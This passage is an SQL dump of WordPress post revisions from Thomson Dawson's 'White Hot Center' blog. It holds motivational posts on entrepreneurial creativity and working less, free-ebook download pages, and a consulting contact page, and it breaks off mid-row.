(784, 2, '2010-04-26 15:16:46', '2010-04-26 22:16:46', '<h2><img class="alignnone size-full wp-image-773" title="seeingisbelieving" src="http://whc.fbdev.org/wp-content/uploads/2010/04/seeingisbelieving.gif" alt="" width="467" height="232" />It’s my belief all entrepreneurs are completely and totally creative! Entrepreneurs create value where there was previously no value perceived. Now that’s creativity!</h2>\r\nWhen I use the word “creative”, I am not meaning activity exclusively tied to artistic endeavors.  Everything there is, at first, was created in the formless imagination before it became a physical reality. Your business is a creative sandbox for you to play in–that’s why I like to use the term creative business. Naturally as an entrepreneur you are creating everyday to grow your business. You’re creating innovative products or services that add more value to people. You realize that you must create value for others first before new opportunity will come to you in the form of more paying customers.\r\n\r\nThere are two parts to value creation: the inner formless idea in your creative imagination, and its physical manifestation in reality.  If you can create something in your mind, you can experience it in the physical. Your creative imagination is the source of all value innovation in your business.\r\n<h2><span style="color: #808080;">Using your creative imagination is critical to your growth and success.</span></h2>\r\n<strong>Your creative imagination is visual.</strong>\r\nWhen you “see” an idea in your mind’s eye, it is as if you are watching a movie on the screen of your mind.  Your creative imagination is the place where you form mental pictures of things and circumstances that you have not yet experienced. Your ability to develop the skill of using your creative imagination is the most important attribute for creating value for people.  Of course, you need to have a compelling vision of what you want to create in your business. When you visualize an idea, what you are really doing is accessing the rich resources of your sub-conscious mind. When you believe an idea is possible – you will see it!\r\n\r\n<strong>Daydreaming is a powerful tool for innovation.</strong>\r\nTo be effective at tapping into the creative power of your sub-conscious, you must create a space in your conscious mind. There are many techniques for doing this, but the one I find most useful is daydreaming. Let your mind go–play aimlessly with your ideas without self-judgment. Let an idea take its own form in your mind without you trying to force it into form, or aligning its value to conventional wisdom. Play! If you can allow yourself time to daydream, you’ll be inspired and feel as though you’re being guided to see opportunity where others may not.\r\n\r\n<strong>Intuition is the white hot center of your creative power.</strong>\r\nIntuition can best be described as your inner wisdom and understanding unrelated to experience or reasoning.  Intuition can be compared to a “sixth sense”, an ability to know instinctively what course of action is best to embark on.  Intuition is the guide of your creative imagination. Can you learn to more effectively use your intuitive powers? Absolutely! Intuition is not a special talent or gift that only the lucky few possess.\r\n\r\nBefore you can use your natural intuitive gift for innovation, you have to trust it!  This might explain why some people seem to attract more opportunity than others. These are the people who trust their gut and simply go with it. If you want to tap into game changing ideas for creating value for people, you have to trust your intuition.  Think about this– your intuition led you to choose to be an entrepreneur right?  Apple founder, Steve Jobs describes the process of innovation as “putting a dent in the universe”. Your intuition will lead your creative imagination to your best ideas–just get out of your own way and let it be so.\r\n<h2><span style="color: #808080;">Creative ideas don’t have to be original or perfect. Nothing impedes progress more than the pursuit of perfection.</span></h2>\r\nMany entrepreneurs put undue pressure on themselves to develop original  ideas. In my experience, there is nothing new under the sun. Every  ground-breaking innovation that ever was came as a result of what came  before it.  For example, someone invented windshield wipers because  people wanted to drive their car in the rain. Then a few years later,  someone had the idea that intermittent wiper blades would be a better  solution. Many times useful ideas are incremental.  You don’t have to  create a revolution to create value.\r\n\r\nMany entrepreneurs also worry needlessly that they haven’t perfected their ideas. No idea is ever perfect. When you have an idea, go ahead and build a prototype or two, tinker with it and experiment with what works, make refinements as necessary, but by all means get it out there!  You can always improve on a good idea. Let the market help you improve it. Originality and perfection, in my  opinion, are overrated and often get in the way of  innovation and value  creation.\r\n\r\n<strong>Here are some suggestions you may want to daydream about in your creative imagination: </strong>\r\n\r\n<span style="color: #ff6600;"><strong> Identify opportunities in the market that you have not noticed before.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Discover profitable niche markets where your capabilities can serve people better.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Discover innovative ways to position yourself and your company as the recognized expert and specialist in your particular field.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Discover new customer applications for your products or services.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Create a distinctive brand identity and packaging for your business and products that differentiates you from your competitors.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Create compelling marketing ideas to dramatize the use of your product or service.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Provide innovative solutions to problems your customers experience by approaching them from an entirely new and different perspective.</strong></span>', 'Use your creative imagination to drive innovation.', 0, '', 'inherit', 'open', 'open', '', '772-revision-10', '', '', '2010-04-26 15:16:46', '2010-04-26 22:16:46', '', 772, 'http://www.whitehotcenter.com/2010/04/26/772-revision-10/', 0, 'revision', '', 0),
(785, 2, '2010-04-29 12:00:21', '2010-04-29 19:00:21', '', 'whclogotype.wbkg', 0, '', 'inherit', 'open', 'open', '', 'whclogotype-wbkg', '', '', '2010-04-29 12:00:21', '2010-04-29 19:00:21', '', 0, 'http://www.whitehotcenter.com/wp-content/uploads/2010/04/whclogotype.wbkg_.gif', 0, 'attachment', 'image/gif', 0),
(3181, 1, '2015-10-16 12:38:04', '2015-10-16 19:38:04', '', 'CompProofBiz_ebook_10-15', 0, '', 'inherit', 'open', 'closed', '', 'compproofbiz_ebook_10-15', '', '', '2015-10-16 12:38:04', '2015-10-16 19:38:04', '', 0, 'http://whc.fbdev.org/wp-content/uploads/2015/10/CompProofBiz_ebook_10-15.pdf', 0, 'attachment', 'application/pdf', 0),
(3182, 1, '2011-04-12 11:21:02', '2011-04-12 18:21:02', '<img class="alignnone size-full wp-image-733" title="whcebook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whcebook.gif" alt="" width="412" height="467" />\r\n<h2>I''m delighted you have joined the conversation here on the White Hot Center, and to provide you with the free report. I''m confident you''ll find it to be inspiring and useful to you as you build a value monopoly for your clients and customers. Click the link below:</h2>\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/04/CompProofBusiness-ebook.pdf" target="_blank">Competition Proof Your Business EBook</a>\r\n\r\n<strong>After reading the report, if you would like to explore the idea of working one-on-one with me to help you integrate these ideas into your business as a daily practice, you can review my consulting packages under the consulting link above.\r\n</strong>\r\n\r\n<strong>to your inspired success,\r\nThomson Dawson</strong>', 'Download your FREE Report!', 0, '', 'inherit', 'closed', 'closed', '', '744-revision-v1', '', '', '2011-04-12 11:21:02', '2011-04-12 18:21:02', '', 744, 'http://whc.fbdev.org/2011/04/744-revision-v1/', 0, 'revision', '', 0),
(1577, 2, '2011-04-12 11:08:53', '2011-04-12 18:08:53', '<img class="alignnone size-full wp-image-733" title="whcebook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whcebook.gif" alt="" width="412" height="467" />\r\n<h2>I''m delighted you have joined the conversation here on the White Hot Center, and to provide you with the free report. I''m confident you''ll find it to be inspiring and useful to you as you build a value monopoly for your clients and customers. Click the link below:</h2>\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/04/CompProofBusiness-ebook.pdf">Competition Proof Your Business EBook</a>\r\n\r\n<strong>After reading the report, if you would like to explore the idea of working one-on-one with me to help you integrate these ideas into your business as a daily practice, you can review my consulting packages under the consulting link above.\r\n</strong>\r\n\r\n<strong>to your inspired success,\r\nThomson Dawson</strong>', 'Download your FREE Report!', 0, '', 'inherit', 'open', 'open', '', '744-revision-v1', '', '', '2011-04-12 11:08:53', '2011-04-12 18:08:53', '', 744, 'http://www.whitehotcenter.com/2011/04/12/744-revision-13/', 0, 'revision', '', 0),
(799, 1, '2010-05-05 14:04:09', '2010-05-05 21:04:09', '<img class="alignnone size-full wp-image-733" title="whcebook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whcebook.gif" alt="" width="412" height="467" />\r\n<h2>I''m delighted you have joined the conversation here on the WhiteHotCenter, and to provide you with the free report. I''m confident you''ll find it to be inspiring and useful to you as you build a value monopoly for your clients and customers. Click the link below:</h2>\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf" target="_blank"> "The WhiteHotCenter Guide to Building a Competition Proof Business".</a>\r\n\r\n<strong>After reading the report, if you would like to explore the idea of working one-on-one with me to help you integrate these ideas into your business as a daily practice, you can review my consulting packages under the consulting link above.\r\n</strong>\r\n\r\n<strong>to your inspired success,\r\nThomson Dawson</strong>', 'Download your FREE Report!', 0, '', 'inherit', 'open', 'open', '', '744-revision-v1', '', '', '2010-05-05 14:04:09', '2010-05-05 21:04:09', '', 744, 'http://www.whitehotcenter.com/2010/05/05/744-revision-9/', 0, 'revision', '', 0),
(787, 1, '2010-04-21 11:32:29', '2010-04-21 18:32:29', 'Thank you for signing up for WHC email.', 'WhiteHotCenter AWeber Email Confirmation Page', 0, '', 'inherit', 'open', 'open', '', '744-revision-v1', '', '', '2010-04-21 11:32:29', '2010-04-21 18:32:29', '', 744, 'http://www.whitehotcenter.com/2010/04/21/744-revision-2/', 0, 'revision', '', 0),
(788, 2, '2010-04-29 12:29:11', '2010-04-29 19:29:11', '<h2><strong>Welcome!</strong></h2>\r\n<strong>I''m delighted you have joined the conversation here on the WhiteHotCenter. You subscription is a vote of trust and confidence, and I hope to continue to earn your trust by providing information you''ll find inspiring and helpful as you create massive success in your business and in all areas of your life. As promised, you can use the link below to download the free report:</strong>\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf" target="_blank"><strong> "The WhiteHotCenter Guide to Building a Competition Proof Business".</strong></a>\r\n\r\n<strong>I invite you to elevate the conversation for all of us by sharing your comments.</strong>\r\n\r\n<strong>to your inspired success,</strong>\r\n\r\n<strong>Thomson Dawson</strong>', 'WhiteHotCenter AWeber Email Confirmation Page', 0, '', 'inherit', 'open', 'open', '', '744-revision-v1', '', '', '2010-04-29 12:29:11', '2010-04-29 19:29:11', '', 744, 'http://www.whitehotcenter.com/2010/04/29/744-revision-3/', 0, 'revision', '', 0),
(789, 2, '2010-04-29 13:22:42', '2010-04-29 20:22:42', '<h2><strong><img class="alignnone size-full wp-image-733" title="whcebook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whcebook.gif" alt="" width="500" height="566" /></strong></h2>\r\n<h2><strong>I''m delighted you have joined the conversation here on the WhiteHotCenter. I''m delighted to provide you with the free report. I hope it inspires you to build a value monopoly for your clients and customers. Click the link below:\r\n</strong></h2>\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf" target="_blank"><strong> "The WhiteHotCenter Guide to Building a Competition Proof Business".</strong></a>\r\n\r\n<strong>If you find these principles inspiring and useful, and you would like to explore the idea of working one-on-one with me to help you integrate these ideas into your business as a daily practice, you can review my consulting packages under the consulting link above.\r\n</strong>\r\n\r\n<strong>to your inspired success,</strong>\r\n\r\n<strong>Thomson Dawson</strong>', 'Download your FREE Report!', 0, '', 'inherit', 'open', 'open', '', '744-revision-v1', '', '', '2010-04-29 13:22:42', '2010-04-29 20:22:42', '', 744, 'http://www.whitehotcenter.com/2010/04/29/744-revision-4/', 0, 'revision', '', 0),
(790, 2, '2010-04-29 13:26:14', '2010-04-29 20:26:14', '<h2><strong><img class="alignnone size-full wp-image-733" title="whcebook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whcebook.gif" alt="" width="500" height="566" /></strong></h2>\r\n<h2><strong>I''m delighted you have joined the conversation here on the WhiteHotCenter, and to provide you with the free report. I''m confident you''ll find it to be inspiring and useful to you as you build a value monopoly for your clients and customers. Click the link below:\r\n</strong></h2>\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf" target="_blank"><strong> "The WhiteHotCenter Guide to Building a Competition Proof Business".</strong></a>\r\n\r\n<strong>After reading the report, if you would like to explore the idea of working one-on-one with me to help you integrate these ideas into your business as a daily practice, you can review my consulting packages under the consulting link above.\r\n</strong>\r\n\r\n<strong>to your inspired success,</strong>\r\n\r\n<strong>Thomson Dawson</strong>', 'Download your FREE Report!', 0, '', 'inherit', 'open', 'open', '', '744-revision-v1', '', '', '2010-04-29 13:26:14', '2010-04-29 20:26:14', '', 744, 'http://www.whitehotcenter.com/2010/04/29/744-revision-5/', 0, 'revision', '', 0);
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(791, 2, '2010-04-29 13:26:45', '2010-04-29 20:26:45', '<h2><strong><img class="alignnone size-full wp-image-733" title="whcebook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whcebook.gif" alt="" width="412" height="467" /></strong></h2>\r\n<h2><strong>I''m delighted you have joined the conversation here on the WhiteHotCenter, and to provide you with the free report. I''m confident you''ll find it to be inspiring and useful to you as you build a value monopoly for your clients and customers. Click the link below:\r\n</strong></h2>\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf" target="_blank"><strong> "The WhiteHotCenter Guide to Building a Competition Proof Business".</strong></a>\r\n\r\n<strong>After reading the report, if you would like to explore the idea of working one-on-one with me to help you integrate these ideas into your business as a daily practice, you can review my consulting packages under the consulting link above.\r\n</strong>\r\n\r\n<strong>to your inspired success,</strong>\r\n\r\n<strong>Thomson Dawson</strong>', 'Download your FREE Report!', 0, '', 'inherit', 'open', 'open', '', '744-revision-v1', '', '', '2010-04-29 13:26:45', '2010-04-29 20:26:45', '', 744, 'http://www.whitehotcenter.com/2010/04/29/744-revision-6/', 0, 'revision', '', 0),
(796, 2, '2010-04-29 13:29:45', '2010-04-29 20:29:45', '<h2><strong><img class="alignnone size-full wp-image-733" title="whcebook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whcebook.gif" alt="" width="412" height="467" /></strong></h2>\r\n<h2><strong>I''m delighted you have joined the conversation here on the WhiteHotCenter, and to provide you with the free report. I''m confident you''ll find it to be inspiring and useful to you as you build a value monopoly for your clients and customers. Click the link below:\r\n</strong></h2>\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf" target="_blank"><strong> "The WhiteHotCenter Guide to Building a Competition Proof Business".</strong></a>\r\n\r\n<strong>After reading the report, if you would like to explore the idea of working one-on-one with me to help you integrate these ideas into your business as a daily practice, you can review my consulting packages under the consulting link above.\r\n</strong>\r\n\r\n<strong>to your inspired success,</strong>\r\n\r\n<strong>Thomson Dawson</strong>', 'Download your FREE Report!', 0, '', 'inherit', 'open', 'open', '', '744-revision-v1', '', '', '2010-04-29 13:29:45', '2010-04-29 20:29:45', '', 744, 'http://www.whitehotcenter.com/2010/04/29/744-revision-7/', 0, 'revision', '', 0),
(798, 1, '2010-05-03 13:52:33', '2010-05-03 20:52:33', '<img class="alignnone size-full wp-image-733" title="whcebook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whcebook.gif" alt="" width="412" height="467" />\r\n<h2>I''m delighted you have joined the conversation here on the WhiteHotCenter, and to provide you with the free report. I''m confident you''ll find it to be inspiring and useful to you as you build a value monopoly for your clients and customers. Click the link below:</h2>\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf" target="_blank"> "The WhiteHotCenter Guide to Building a Competition Proof Business".</a>\r\n\r\n<strong>After reading the report, if you would like to explore the idea of working one-on-one with me to help you integrate these ideas into your business as a daily practice, you can review my consulting packages under the consulting link above.\r\n</strong>\r\n\r\n<strong>to your inspired success,\r\nThomson Dawson</strong>', 'Download your FREE Report!', 0, '', 'inherit', 'open', 'open', '', '744-revision-v1', '', '', '2010-05-03 13:52:33', '2010-05-03 20:52:33', '', 744, 'http://www.whitehotcenter.com/2010/05/03/744-revision-8/', 0, 'revision', '', 0),
(800, 1, '2009-07-07 23:18:19', '2009-07-08 06:18:19', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /><span style="color: #ff6600;">One of the things about my life that I am most proud of is the fact that I live and work in a manner and place that I love. For years, I would daydream about living and working in a beautiful, natural environment. Nothing is more comforting to my soul than living in an orange grove. I''m delighted to share the view with you, and remind you that you can create in the physical world whatever you daydream about in the formless world of your imagination.</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\n<strong>To contact me:</strong>\r\n\r\nThomson Dawson\r\n<a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\n\r\n<strong>The White Hot Center\r\nPart of the Dawson+Company Creative Group Inc.\r\n1015 West El Roblar Drive\r\nOjai, California 93203 USA\r\nmobile 805 886 5902\r\n</strong>\r\n\r\n<strong>Speaking gigs</strong>:\r\n\r\n<span style="color: #ff6600;"><strong>I am available to speak at colleges, art &amp; design schools, universities, industry groups and trade associations, on diverse topics in marketing, business development, visual design, and on diverse topics within the area personal and professional development. Some of my talks are pro-bono, some for expenses, and others for a fee and expenses.  If you have an interest in having me on the bill at one of your events, just send me an email with your specifics, we can go from there.</strong></span>\r\n\r\n<strong>Consulting gigs:</strong>\r\n\r\n<strong><span style="color: #ff6600;">I also advise corporations, organizations, individual creative entrepreneurs, design firm principals, professionals and small business owners on marketing, positioning, branding, business and professional development. The depth and duration of these engagements varies depending on your needs and my availability. As a start, try arranging for a “Power Session” with me where we can riff on your current concerns, big ideas and visions for your future.  Click the Power Session banner to the right. Remember, the nature of my consulting work is weighted to the inner game of business and life success. If you need help sifting through quantitative or qualitative data, or motivating people to fill out time sheets, I’m not the guy. On the other hand, if you have ideas for your bigger, better future you’d like to gain more clarity and conviction on, just send me a note via my email link and I’ll promptly reply.</span></strong>', 'Contact Thomson Dawson', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2009-07-07 23:18:19', '2009-07-08 06:18:19', '', 143, 'http://www.whitehotcenter.com/2009/07/07/143-revision-22/', 0, 'revision', '', 0),
(801, 2, '2010-05-05 18:19:22', '2010-05-06 01:19:22', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><span style="color: #ff6600;">One of the things I am most proud of is the fact that I live and work in a manner and place that I love. For years, I would daydream about living and working in a beautiful, natural environment. Here it is. Nothing is more comforting to my soul than living in an orange grove, and I''m delighted to share the view with you here.\r\n</span></h2>\r\n<span style="color: #ff6600;"></span><strong>To contact me:</strong>\r\n\r\nThomson Dawson\r\n<a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\n\r\n<strong>The White Hot Center\r\nPart of the Dawson+Company Creative Group Inc.\r\n1015 West El Roblar Drive\r\nOjai, California 93203 USA\r\nmobile 805 886 5902\r\n</strong>\r\n\r\n<strong>Speaking gigs</strong>:\r\n\r\n<span style="color: #ff6600;"><strong>I am available to speak at colleges, art &amp; design schools, universities, industry groups and trade associations, on diverse topics in marketing, business development, visual design, and on diverse topics within the area personal and professional development. Some of my talks are pro-bono, some for expenses, and others for a fee and expenses.  If you have an interest in having me on the bill at one of your events, just send me an email with your specifics, we can go from there.</strong></span>\r\n\r\n<strong>Consulting gigs:</strong>\r\n\r\n<strong><span style="color: #ff6600;">I also advise corporations, organizations, individual creative entrepreneurs, design firm principals, solo professionals and small business owners on marketing, positioning, branding, business and professional development. The depth and duration of these engagements varies depending on your needs and my availability. As a start, try arranging for a “Power Session” with me where we can riff on your current concerns, big ideas and visions you have for your future.  Click the Power Session banner to the right. Remember, the nature of my consulting work is weighted to the inner game of business and life success. If you need help sifting through quantitative or qualitative data, or motivating people to fill out time sheets, I’m not the guy. On the other hand, if you have ideas for your bigger, better future you’d like to gain more clarity and conviction on, just send me a note via my email link and I’ll promptly reply.</span></strong>\r\n\r\n<span style="color: #333333;"><strong>Biography:</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>With over 25 years of experience as an entrepreneur, designer, creative  director, writer, and brand marketing consultant, Thomson’s passion and  specialized expertise leads his corporate clients clients through the process of developing  innovation strategies that influence better outcomes in their marketing,  positioning, communications and customer experience. His clients have  included: Acura Automobiles, Brunswick, Coleman, Food Lion, Haworth,  Hewlett-Packard, Herman Miller, QAD, Steelcase, and Wolverine Worldwide  Footwear Brands.\r\n\r\nTransforming his experience as a successful marketing practitioner and  entrepreneur, Thomson also guides and inspires creative entrepreneurs, small  business leaders and solo professionals with  insight, inspiration and  education to realize their full potential for greater business and life  success, He is the author and curator of the popular personal and  professional development blog:  www.whitehotcenter.com</strong><strong>\r\n\r\nHe is a contributing writer to a publications and blogs, and facilitates  educational seminars on personal effectiveness, lifestyle design and  entrepreneurial success.  Thomson lives and works in  the middle of a small orange grove in Ojai, California.</strong></span>', 'Contact Thomson Dawson', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2010-05-05 18:19:22', '2010-05-06 01:19:22', '', 143, 'http://www.whitehotcenter.com/2010/05/05/143-revision-23/', 0, 'revision', '', 0),
(810, 2, '2010-05-09 11:48:08', '2010-05-09 18:48:08', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2007/10/workless.jpg"><img class="alignleft size-medium wp-image-445" title="workless" src="http://whc.fbdev.org/wp-content/uploads/2007/10/workless-300x300.jpg" alt="workless" width="225" height="225" /></a><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">For all the workaholics and others who believe the only way to get something is to work hard for it, this may be a challenging idea for sure. It simply goes against the grain of conventional wisdom that says people who don’t work hard achieve very little in life. </span></h2>\r\n<div id="body">\r\n\r\nAt first glance, you''re  probably thinking how can one achieve more and work less? It seems  counter-intuitive. Actually, this idea is more in line with the way the  universe operates. You don''t  have to work hard to create the result you desire.\r\n\r\nNature  operates with ease. All the complex principals associated with life  itself operate with ease. Your heart beats, your lungs breath, the  lilies don''t toil, the  seasons change, all of this is going on effortlessly. And so it is with  the realization of your desires and the accomplishment of your goals.  There is no need to toil through drudgery to get what you want.  Actually, the very idea of toil and drudgery is counter-productive to  the whole process of creation. Think about these ideas for moment:\r\n\r\n*  hard work has absolutely nothing to do with creating success\r\n\r\n*  hard work is not the basis for success\r\n\r\n* success is inversely  proportional to hard work\r\n\r\n* avoiding hard work has driven all  human progress\r\n\r\nAfter years of banging my head against the wall, I  have found the revelation that doing less, in an easy and relaxed way,  is the best means of creating what you want.\r\n\r\nFirst of all, no one  likes to "have to" do anything. When you say I "have to" pay my bills,  so I "have to" go to work to get the money... already you can sense the  despair and powerlessness in the very idea of "having to" do anything.  Desperation and powerlessness is fear, and you know that fear is not a  point of view that creates anything useful in life. When you "have to"  do anything, you are in a state of resistance. You are fighting the  natural flow by pointing yourself upstream, resisting.\r\n\r\nAfter a  couple of decades of this resistance, (think working hard) you can see  how we eventually burn-out, lose our perspective, lose our joy, create  sickness and ultimately lose our life. No, having to work hard to get  what we want is not the answer. Grinding away at something is the root  cause of all disappointments in life. Turn this idea around.\r\n\r\n<strong>Start  with what you love.</strong>\r\n\r\nWhat do you love? I mean really love! What do  you like to "play at"? What are you effortlessly good at? What excites  you to such an extent that when you are engaged in it, you actually lose  your awareness of time? Think about this idea deeply. Within this idea  of "play" is the seed of joyous, easy, relaxed, natural, lazy creation.  There is no working when you are engaged in an activity you love. If you  have an idea that you love to play with, do you force yourself to play  with it? Of course not. You are naturally drawn to it. You are lovingly  engaged in it. Things are easy. There is no work involved and the  results of your creation seem almost miraculous. Live your whole life  from this point of view. It is essential to achieving your heart''s desire. Do not  trade one more second of your precious life working hard.\r\n<h2>Any  useful idea that has elevated the life experience of humans has come  about because we want to avoid having to do hard work.</h2>\r\nHard work is  counter-productive to the direction of life expanding. Hard work shuts  off the flow of creative, inspired energy. Hard work is not in alignment  with the laws of creation. Nature creates in an easy and relaxed way.  You are made of the same stuff and this natural law applies to you  wittingly or unwittingly. You will not became healthy, wealthy and wise:\r\n\r\n*  keeping his nose to the grindstone\r\n\r\n* pushing the ball uphill\r\n\r\n*  working her fingers to the bone\r\n\r\n* going to a salt mine\r\n\r\n*  spending the day with a slave driver\r\n\r\nNo, my friend there is an  easier, lazy, do nothing way to create the life you have always desired.  You must engage yourself in what you love, play and have fun. Play with  everything. If it''s  not fun, you are wasting your chances for creating massive success in  your life. Align your focus and attention to only that which you love.\r\n\r\n<strong>Enjoy  (playing) through action (doing what you love) what you create through  your thoughts (vision and goals).</strong>\r\n\r\n</div>', 'Work Less, Accomplish more!', 0, 'For all the workaholics and others who believe the only way to get something is to work hard for it, this may be a challenging idea for sure. It simply goes against the grain of conventional, Calvinist wisdom… people who...\r\n', 'inherit', 'open', 'open', '', '28-revision-16', '', '', '2010-05-09 11:48:08', '2010-05-09 18:48:08', '', 28, 'http://www.whitehotcenter.com/2010/05/09/28-revision-16/', 0, 'revision', '', 0),
(813, 2, '2010-05-13 11:11:41', '2010-05-13 18:11:41', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas4.gif"><img class="alignnone size-full wp-image-667" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas4.gif" alt="ideas" width="450" height="534" /></a><span style="color: #ff6600;"> </span></h2>\r\n<h2>In the idea economy, the value  entrepreneurs provide lies not in their physical products or services,   but in intangible assets such as their brand, reputation, network and  intellectual property. These assets form the white hot center of  competitive advantage.</h2>\r\n<div>\r\n\r\nMany entrepreneurs and solo  professionals get hung up on the word “creative”. Many entrepreneurs do  not believe they are creative. Many people think of the term as it  relates to artistic expression or ability. If you have a dry cleaning  business, you might not think of it as creative business at all. In  truth, being a successful entrepreneur in any business requires lots of  creativity and innovation. More so in an economy increasingly driven by  ideas!  There are three important characteristics all entrepreneurs  share:\r\n\r\n<strong>Creativity</strong>\r\ngenerating new ideas, evaluating them  effectively, taking action to turn them into new products and services  that create value.\r\n\r\n<strong>Collaboration</strong>\r\nconnecting and working with  partners, and other significant players in their network, which will  increasingly be scattered beyond local geography and contain more  ‘virtual’ relationships than face-to-face ones.\r\n\r\n<strong>Entrepreneurship</strong>\r\nidentifying opportunities in the  marketplace and using their business skills to transform formless ideas  into physical products and profits.\r\n\r\nEntrepreneurs have always relied on their creativity to produce  wealth, but the modern creative entrepreneur in the emerging idea  economy will go further and deeper. Noted author, John Howkins defines  creative entrepreneurs as people who “use creativity to unlock the  wealth that lies within them rather than with external capital”.  The  greater value creative entrepreneurs provides lies not in their physical  products (if any) but in intangible assets such as their brand,  reputation, social network and intellectual property. These assets form  the “inner game” I call the white hot center of competitive advantage.  Creative entrepreneurs inherently “know” their success begins inside  them, and they go outward from there. How do these three characteristics  show up in you?\r\n\r\n<strong>The New Age of Connection</strong>\r\n\r\nThere has never been a more favorable environment for creative  entrepreneurs with big ideas and the will to bring them into form.  Social Media is transforming every human structure and business model of  the last half-century. We are truly in a new age of human connection  and interaction. What’s different is the transparent and  “virtual  nature” of these interactions as a result of this exploding phenomena.  We are experiencing the embryonic beginnings of how humans will build  more transparent, tribal and profitable relationships with others of  like mind. It is in this fertile soil that the creative economy will  grow.and ideas are its currency.\r\n\r\nThis gives the creative entrepreneur a leg up simply because, by  their very nature, entrepreneurs are predisposed to thinking with  creativity and innovation. The social web will only grow in its  potential to bring humans closer, providing a powerful venue that is  favorable to ideas that create more value for people. Creative  entrepreneurs will form the core of this emerging group who will become  the new visionaries–people who create greater financial value from their  intangible ideas.\r\n\r\nIn the idea economy, the attributes that will power creative  entrepreneurs toward greater innovation and wealth creation are:\r\n\r\n<strong>Autonomy</strong>\r\nthe desire to direct the course of their  own lives and be free from all bureaucratic structures.\r\n\r\n<strong>Mastery</strong>\r\na never-ending capacity to grow and get  better at something that really matters to them.\r\n\r\n<strong>Purpose</strong>\r\nthe yearning to do what matters to them,  and have that serve the good of others.\r\n\r\n<strong>What this means to you.</strong>\r\n\r\nMany people believe they don’t “have enough” resources to pursue  their ideas. They blame their lack and limitation on the closed  structures of the past fifty years. If you continue in the belief of  lack and limitation as a reason for not pursuing your ideas, and you  will miss the opportunity of your lifetime. Snooze, you lose.\r\n\r\nOn the other hand, creative entrepreneurs are “possibility thinkers”  framing their ideas around “what-if and why-not” questions. The emerging  creative idea-based economy is a system favorable to this point of  view. Never has potential and possibility for success been more  available!\r\n\r\nWhen you embark on the journey of pursuing ideas to grow your value  to the world, you’ll be focusing your energy on trusting your intuition  and imagination, (which is where all ideas come from) and less on the  evidence interpreted by your physical senses. New opportunity will show  up to strengthen your faith and belief. And with faith and belief, you  will have the will to set meaningful goals and persist in your action.  Persistent action gives you more momentum. Momentum leads to results.\r\n\r\n<strong> If you are an entrepreneur, or thinking about becoming one,  there is no better time than now to begin to take your creative business  to the next level!</strong>\r\n\r\n</div>', 'How the idea economy will unlock your power to grow wealth.', 0, '', 'inherit', 'open', 'open', '', '632-revision-38', '', '', '2010-05-13 11:11:41', '2010-05-13 18:11:41', '', 632, 'http://www.whitehotcenter.com/2010/05/13/632-revision-38/', 0, 'revision', '', 0),
(814, 2, '2010-05-13 11:13:57', '2010-05-13 18:13:57', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas4.gif"><img class="alignnone size-full wp-image-667" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas4.gif" alt="ideas" width="450" height="534" /></a><span style="color: #ff6600;"> </span></h2>\r\n<h2>In the idea economy, the value  entrepreneurs provide lies not in their physical products or services,   but in intangible assets such as their brand, reputation, network and  intellectual property. These assets form the white hot center of  competitive advantage.</h2>\r\n<div>\r\n\r\nMany entrepreneurs and solo  professionals get hung up on the word “creative”. Many entrepreneurs do  not believe they are creative. Many people think of the term as it  relates to artistic expression or ability. If you have a dry cleaning  business, you might not think of it as creative business at all. In  truth, being a successful entrepreneur in any business requires lots of  creativity and innovation. More so in an economy increasingly driven by  ideas!  There are three important characteristics all entrepreneurs  share:\r\n\r\n<strong>Creativity</strong>\r\ngenerating new ideas, evaluating them  effectively, taking action to turn them into new products and services  that create value.\r\n\r\n<strong>Collaboration</strong>\r\nconnecting and working with  partners, and other significant players in their network, which will  increasingly be scattered beyond local geography and contain more  ‘virtual’ relationships than face-to-face ones.\r\n\r\n<strong>Entrepreneurship</strong>\r\nidentifying opportunities in the  marketplace and using their business skills to transform formless ideas  into physical 